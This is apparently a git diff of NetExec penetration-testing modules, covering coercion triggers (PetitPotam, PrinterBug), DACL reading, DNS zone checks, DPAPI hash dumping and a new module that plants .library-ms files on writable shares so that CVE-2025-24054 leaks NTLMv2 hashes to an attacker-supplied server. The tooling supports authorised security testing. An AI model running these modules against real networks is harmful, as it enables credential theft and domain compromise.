request["ApiFlags"] = 0
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
@@ -528,6 +538,11 @@ class PetitPotamtTrigger:
|
||||
},
|
||||
}
|
||||
|
||||
# activates EFS
|
||||
# https://specterops.io/blog/2025/08/19/will-webclient-start/
|
||||
with contextlib.suppress(Exception):
|
||||
NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpctransport.set_dport(445)
|
||||
|
||||
@@ -755,27 +770,6 @@ class PrinterBugTrigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.warning(f"Failed to connect to endpoint mapper: {e}")
|
||||
raise e
|
||||
try:
|
||||
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
self.context.log.debug(
|
||||
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
|
||||
)
|
||||
return endpoint
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}")
|
||||
raise e
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"spoolss": {
|
||||
@@ -784,7 +778,7 @@ class PrinterBugTrigger:
|
||||
"port": 445
|
||||
},
|
||||
"[dcerpc]": {
|
||||
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
|
||||
"stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": None
|
||||
}
|
||||
|
||||
+81
-115
@@ -1,10 +1,10 @@
|
||||
import binascii
|
||||
import codecs
|
||||
import json
|
||||
import datetime
|
||||
from enum import Enum
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.uuid import bin_to_string
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
@@ -189,6 +189,12 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
|
||||
|
||||
|
||||
SEARCH_FILTERS = {
|
||||
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
|
||||
@@ -200,14 +206,23 @@ class NXCModule:
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
# Initialize module variables
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
self.action = "read"
|
||||
self.ace_type = "allowed"
|
||||
self.rights = None
|
||||
self.rights_guid = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
|
||||
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
|
||||
@@ -226,57 +241,48 @@ class NXCModule:
|
||||
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
|
||||
sys.exit(1)
|
||||
|
||||
if module_options and "TARGET" in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options["TARGET"]):
|
||||
try:
|
||||
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
|
||||
self.target_sAMAccountName = None
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
self.target_file = None
|
||||
self.target_DN = None
|
||||
self.targets = []
|
||||
self.target_SID = None
|
||||
if module_options and "TARGET_DN" in module_options:
|
||||
self.target_DN = module_options["TARGET_DN"]
|
||||
self.target_sAMAccountName = None
|
||||
self.target_file = None
|
||||
|
||||
if module_options and "PRINCIPAL" in module_options:
|
||||
for option in "TARGET", "TARGET_DN":
|
||||
if option in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options[option]):
|
||||
try:
|
||||
target_file = open(module_options[option]) # noqa: SIM115
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
context.log.debug(f"Adding target: {module_options[option]}")
|
||||
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
|
||||
|
||||
if not self.targets:
|
||||
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
|
||||
sys.exit(1)
|
||||
|
||||
if "PRINCIPAL" in module_options:
|
||||
self.principal_sAMAccountName = module_options["PRINCIPAL"]
|
||||
else:
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
|
||||
if module_options and "ACTION" in module_options:
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
self.action = "read"
|
||||
if module_options and "ACE_TYPE" in module_options:
|
||||
|
||||
if "ACE_TYPE" in module_options:
|
||||
self.ace_type = module_options["ACE_TYPE"]
|
||||
else:
|
||||
self.ace_type = "allowed"
|
||||
if module_options and "RIGHTS" in module_options:
|
||||
|
||||
if "RIGHTS" in module_options:
|
||||
self.rights = module_options["RIGHTS"]
|
||||
else:
|
||||
self.rights = None
|
||||
if module_options and "RIGHTS_GUID" in module_options:
|
||||
|
||||
if "RIGHTS_GUID" in module_options:
|
||||
self.rights_guid = module_options["RIGHTS_GUID"]
|
||||
else:
|
||||
self.rights_guid = None
|
||||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldap_connection._baseDN
|
||||
self.ldap_session = connection.ldap_connection
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
# Searching for the principal SID
|
||||
if self.principal_sAMAccountName is not None:
|
||||
@@ -294,86 +300,49 @@ class NXCModule:
|
||||
return
|
||||
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
for target, search_filter in self.targets:
|
||||
try:
|
||||
# Searching for target account with its security descriptor
|
||||
if self.target_sAMAccountName: # noqa: SIM108
|
||||
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
|
||||
else:
|
||||
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
|
||||
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter,
|
||||
searchFilter=search_filter(target),
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = resp_parsed["distinguishedName"]
|
||||
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
|
||||
target_principal_dn = resp_parsed["distinguishedName"]
|
||||
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
context.log.fail(f"Target SID not found in LDAP ({target})")
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
return
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
self.read(principal_security_descriptor)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
|
||||
# If there are multiple targets
|
||||
else:
|
||||
targets = self.target_file.readlines()
|
||||
for target in targets:
|
||||
try:
|
||||
self.target_sAMAccountName = target.strip()
|
||||
# Searching for target account with its security descriptor
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = resp_parsed["distinguishedName"]
|
||||
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
|
||||
|
||||
# Main read funtion
|
||||
# Prints the parsed DACL
|
||||
def read(self, context):
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(context, parsed_dacl)
|
||||
def read(self, principal_security_descriptor):
|
||||
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(parsed_dacl)
|
||||
|
||||
# Permits to export the DACL of the targets
|
||||
# This function is called before any writing action (write, remove or restore)
|
||||
def backup(self, context):
|
||||
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
|
||||
backup = {}
|
||||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(self.target_principal_dn)
|
||||
if not self.filename:
|
||||
self.filename = "dacledit-{}-{}.bak".format(
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
|
||||
self.target_sAMAccountName,
|
||||
)
|
||||
with codecs.open(self.filename, "w", "latin-1") as outfile:
|
||||
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(target_principal_dn)
|
||||
|
||||
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
filename = f"dacledit-{timestamp}-{target}.bak"
|
||||
with open(filename, "w", encoding="latin-1") as outfile:
|
||||
json.dump(backup, outfile)
|
||||
context.log.highlight("DACL backed up to %s", self.filename)
|
||||
self.filename = None
|
||||
self.context.log.highlight(f"DACL backed up to {filename}")
|
||||
|
||||
def resolveSID(self, sid):
|
||||
"""Resolves a SID to its corresponding sAMAccountName."""
|
||||
@@ -394,11 +363,11 @@ class NXCModule:
|
||||
|
||||
# Parses a full DACL
|
||||
# - dacl : the DACL to parse, submitted in a Security Desciptor format
|
||||
def parse_dacl(self, context, dacl):
|
||||
def parse_dacl(self, dacl):
|
||||
parsed_dacl = []
|
||||
context.log.debug("Parsing DACL")
|
||||
self.context.log.debug("Parsing DACL")
|
||||
for ace in dacl["Data"]:
|
||||
parsed_ace = self.parse_ace(context, ace)
|
||||
parsed_ace = self.parse_ace(ace)
|
||||
parsed_dacl.append(parsed_ace)
|
||||
return parsed_dacl
|
||||
|
||||
@@ -413,7 +382,7 @@ class NXCModule:
|
||||
|
||||
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
|
||||
# - ace : the ACE to parse
|
||||
def parse_ace(self, context, ace):
|
||||
def parse_ace(self, ace):
|
||||
# For the moment, only the Allowed and Denied Access ACE are supported
|
||||
if ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_ACE",
|
||||
@@ -455,12 +424,9 @@ class NXCModule:
|
||||
except KeyError:
|
||||
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace["Trustee (SID)"] = "{} ({})".format(
|
||||
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
else: # if the ACE is not an access allowed
|
||||
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {
|
||||
"ACE type": ace["TypeName"],
|
||||
@@ -469,18 +435,18 @@ class NXCModule:
|
||||
}
|
||||
return parsed_ace
|
||||
|
||||
def print_parsed_dacl(self, context, parsed_dacl):
|
||||
def print_parsed_dacl(self, parsed_dacl):
|
||||
"""Prints a full DACL by printing each parsed ACE
|
||||
|
||||
parsed_dacl : a parsed DACL from parse_dacl()
|
||||
"""
|
||||
context.log.debug("Printing parsed DACL")
|
||||
self.context.log.debug("Printing parsed DACL")
|
||||
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
|
||||
# If an ACE type has been specified, only the ACE with this type will be specified
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for i, parsed_ace in enumerate(parsed_dacl):
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
@@ -494,7 +460,7 @@ class NXCModule:
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
@@ -502,7 +468,7 @@ class NXCModule:
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
@@ -510,13 +476,13 @@ class NXCModule:
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
@@ -524,7 +490,7 @@ class NXCModule:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight(f"ACE[{i}] info")
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
|
||||
@@ -1,7 +1,11 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -15,4 +19,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -0,0 +1,68 @@
|
||||
from impacket.structure import Structure
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @MaxToffy"""
|
||||
name = "dns-nonsecure"
|
||||
description = "Detects DNS zones that allow nonsecure dynamic updates"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_bases = {
|
||||
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
|
||||
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
|
||||
}
|
||||
|
||||
for dns_type, search_base in search_bases.items():
|
||||
# Search for domain DNS zones
|
||||
resp = connection.search(
|
||||
searchFilter="(objectClass=dnsZone)",
|
||||
attributes=["name", "dNSProperty"],
|
||||
baseDN=search_base,
|
||||
)
|
||||
zones = parse_result_attributes(resp)
|
||||
|
||||
# Get dynamic updates configuration for each zones
|
||||
allows_nonsecure_updates = []
|
||||
for zone in zones:
|
||||
for prop in zone["dNSProperty"]:
|
||||
dns_properties = DNS_PROPERTY(prop)
|
||||
|
||||
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
|
||||
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
|
||||
allows_nonsecure_updates.append(zone["name"])
|
||||
|
||||
if allows_nonsecure_updates:
|
||||
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
|
||||
for zone in allows_nonsecure_updates:
|
||||
context.log.highlight(zone)
|
||||
else:
|
||||
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1 - dnsProperty
|
||||
class DNS_PROPERTY(Structure):
|
||||
structure = (
|
||||
("DataLength", "<L-Data"),
|
||||
("NameLength", "<L"),
|
||||
("Flag", "<L"),
|
||||
("Version", "<L"),
|
||||
("Id", "<L"),
|
||||
("Data", ":"),
|
||||
("Name", "1s"),
|
||||
)
|
||||
|
||||
|
||||
# [MS-DNSP] - 2.3.2.1.1 - Property Id
|
||||
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
|
||||
|
||||
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
|
||||
ZONE_UPDATE_OFF = 0x00000000
|
||||
ZONE_UPDATE_UNSECURE = 0x00000001
|
||||
ZONE_UPDATE_SECURE = 0x00000002
|
||||
@@ -1,6 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
@@ -10,6 +10,7 @@ class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""OUTPUTFILE Output file to write hashes"""
|
||||
@@ -34,12 +35,12 @@ class NXCModule:
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
@@ -57,6 +58,6 @@ class NXCModule:
|
||||
else:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
@@ -0,0 +1,90 @@
|
||||
import ntpath
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
|
||||
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
|
||||
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
|
||||
Module by: @XedSama
|
||||
"""
|
||||
name = "drop-library-ms"
|
||||
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
|
||||
|
||||
self.server = None
|
||||
self.lms_name = ""
|
||||
self.cleanup = False
|
||||
|
||||
self.local_path = None
|
||||
self.remote_path = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SERVER Attacker machine
|
||||
NAME File name
|
||||
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
|
||||
CLEANUP Cleaning option (True or False)
|
||||
"""
|
||||
if "SERVER" not in module_options and not self.cleanup:
|
||||
context.log.fail("SERVER option is required")
|
||||
exit(1)
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "IGNORE" in module_options:
|
||||
self.ignore_shares = module_options["IGNORE"].split(",")
|
||||
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug(f"CLEANUP is set to {self.cleanup}")
|
||||
|
||||
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
|
||||
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
with open(self.local_path, "w", encoding="utf-8") as libms:
|
||||
libms.truncate(0)
|
||||
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
|
||||
libms.write("<searchConnectorDescriptionList>")
|
||||
libms.write("<searchConnectorDescription>")
|
||||
libms.write("<simpleLocation>")
|
||||
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
|
||||
libms.write("</simpleLocation>")
|
||||
libms.write("</searchConnectorDescription>")
|
||||
libms.write("</searchConnectorDescriptionList>")
|
||||
libms.write("</libraryDescription>")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
|
||||
context.log.success(f"Found writable share : {share['name']}")
|
||||
|
||||
if self.cleanup:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.remote_path)
|
||||
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
|
||||
|
||||
else:
|
||||
with open(self.local_path, "rb") as libms:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.remote_path, libms.read)
|
||||
context.log.success(f"Created .library-ms file on share '{share['name']}'")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
|
||||
@@ -1,5 +1,6 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "drop-sc"
|
||||
description = "Drop a searchConnector-ms file on each writable share"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dump-computers"
|
||||
description = "Dumps all computers in the domain"
|
||||
description = "Dumps FQDN and OS of all computers in the domain"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -41,8 +43,11 @@ class NXCModule:
|
||||
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
|
||||
|
||||
for item in resp_parsed:
|
||||
dns_host_name = item["dNSHostName"]
|
||||
dns_host_name = item.get("dNSHostName")
|
||||
operating_system = item.get("operatingSystem", "Unknown OS")
|
||||
if not dns_host_name:
|
||||
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
|
||||
continue
|
||||
|
||||
if self.netbios_only:
|
||||
netbios_name = dns_host_name.split(".")[0]
|
||||
|
||||
@@ -1,33 +1,13 @@
|
||||
import ntpath
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.context import Context
|
||||
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
|
||||
from impacket.smbconnection import SessionError, SMBConnection
|
||||
|
||||
|
||||
def get_error_string(exception):
|
||||
if hasattr(exception, "getErrorString"):
|
||||
try:
|
||||
es = exception.getErrorString()
|
||||
except KeyError:
|
||||
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
|
||||
if type(es) is tuple:
|
||||
return es[0]
|
||||
else:
|
||||
return es
|
||||
else:
|
||||
return str(exception)
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""EFSR Spray Module
|
||||
Module by @rtpt-romankarwacik
|
||||
"""
|
||||
|
||||
name = "efsr_spray"
|
||||
